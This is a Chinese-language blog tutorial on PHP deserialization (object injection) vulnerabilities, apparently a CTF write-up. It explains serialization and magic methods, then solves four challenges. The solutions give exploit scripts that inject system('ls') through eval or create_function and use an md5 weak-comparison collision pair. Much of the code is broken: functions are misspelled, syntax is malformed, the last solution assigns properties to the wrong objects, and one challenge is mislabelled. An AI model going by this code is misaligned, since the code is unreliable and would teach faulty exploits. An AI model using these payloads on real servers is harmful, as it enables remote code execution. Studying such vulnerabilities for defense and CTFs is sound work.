web渗透-反序列化

一:概念

1、序列化:将变量转化为可保存或者可以传输的字符串的过程;实现函数是serialize()函数(变量转化成字符串

2、反序列化:把这个字符串在转化成原来变量使用;就是序列化的逆过程;实现函数是unserialize()函数( 字符串转换成变量

3、示例

<?php
class Student{
	public $name="admin";
	public $grade=90;
}
$a = new Student;
var_dump($a);
echo serialize($a);//序列化(变量转成字符串)
$b=unseralize(serialize($a));//发序列化(字符串转换成变量)
var_dump($b);
?>

4、序列化和发序列化的目的是为了更加轻松的存储和传输数据;使程序更具有维护性质

5、发序列话漏洞也称为对象注入;就是当程序在进行反序列化时;会自动调用一些函数;但是如果传入函数的参数可以被用户控制的话;用户可以输入一些恶意的代码到函数当中;从而导致反序列漏洞

二:魔术方法

(1)魔术方法就是满足条件自动触发;无需在手动调用触发
image

三:数组特性

(1)一个数组被当作函数触发时;如果第一个数组的第一个元素是对象;第二个元素是方法的名称;那么就会调用该对象的该方法

<php
class A{
	public $name;
	public function test(){
		echo "hello word!";
	}
}
$a=new A;//生成对象
$a->test();//调用方法
$arra=[$a,'test'];
$arr();//利用数组特性调用函数

四:例题讲解

(1)发序列解题步骤

1、注释掉和属性无关的内容
2、寻找pop链(给属性变量赋值)
3、构造序列化数据
4、传递数据到服务器

(2)题目

题目1:

<?php
show_source(__FILE__):
error_reportting(0);
class DEMO{
	public $func;
	public $args;
	public function safe(){
		echo $this->arg;
	}
	public function evil(){
		eval($this->arg);
	}
	public function run()
		$this->{$this->func}();
	public _construct(){
		$this->func = 'evil';
	}
}
$obj=unserialize($GET['a'])
$obj->run();
?>

题解:审计代码;需要以GET方式传递一个参数;然后去执行run方法;分析run方法;当$func='evil'时;才会执行evil方法;evil方法中eval()函数能够将传递进来的参数当作php代码执行;然而用$args传递参数;我们需要构造序列化数据(包含恶意代码);然后传递给服务器;服务器反序列化还原数据;让eval函数执行代码!

//寻找pop链;构造序列化数据
<?php
class DEMO{
	public $func='evil';
	public $args='system("ls")';
}
$a=new DEMO;
echo urlencode(seralize($a));
?>

题目2

<?php
class Login{
	private $user='ylng';
	
	//function_destruct()
	{
		//if ($this->user='admin'){
			//echo $flag;
		}//else{
			//echo 'you are not my admin';
		}
	}
}
//$exp = $_GET['exp'];
//userialize(@$exp)
?>

题解:
审计代码;通过get方式传递数据;判断$user是否等于admin;如果等于admin 就输出flag;于是给$user赋值伪admin;然构造序列化数据(根据上面的步骤)

<?php
class Login{
    private $user='admin';//内部赋值
}
$d=new Login;
$d->user='admin';
echo urlencode(serialize($d));
?>

GET传值序列化数据拿到flag!

题目3-强网杯

<?php
highlight_file(__FILE__);
class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}
?>

审计代码:
(1)分析判断语句:第一个if成立的条件是GET传参pleaseget=1;第二个if成立的条件伪POST传值pleaseport=2;第三个if成立的条件是需要两个不同的数。且这两个不同的数值的md5 的却相同;就是简单的弱类型碰撞md51=s878926199a&md52=s214587387a
(2)分析BUU类;当$correct=$input的时候;输出flag;考察指针引用

//构造序列化数据
<?php
class BUU {
   public $correct = "";
   public $input = "";
}
$a=new BUU();
$a->input=&$a->correct;//引用;让input的是始终和correct的值相等<===>C++的指针!
echo urlencode(serialize($a));
?>

传值给服务器拿到flag!
image
题目4-赣网杯

//赣网杯例题
<?php
class func{
	public $chomd1;
	public $chomd2;
	public $key;
	public function __destruct(){
		unserialize($this->key)();
$this->chomd1='welcome'.$this->chomd2;
	}
}
class Getflag{
	public $code;
	public $action;
	public function getflag(){
		$a=$this->action;
		$a('',$this->code);
	}
}
unserialize($_GET[0]);
?>

题解:
突破点就是unserialize($this->key);让这个等于['$a','getflag']就可以调转到getflag方法了;分析getflag方法;发现考察的就是create_function函数闭合逃逸执行额外命令!构造payload;传递给服务器拿到flag!

强网杯题解!
<?php
class func
{
	public $mod1;
	public $mod2;
	public $key;
}
class Getflag
{
	public $code;
	public $action;
}
$g=new func;
$a=new getflag;
//unserialize($this->key)=['$a','getflag'];<==>
//$this->key=serialize(['$a','getflag']); <==
$a->key=serialize(['$a','getflag']);
$g->action=create_function;
$g->code=}systen('ls');//
echo urlencode(serialize($g));
?>
posted @ 2024-08-11 15:36  Gsupl.落浅~  阅读(117)  评论(0)    收藏  举报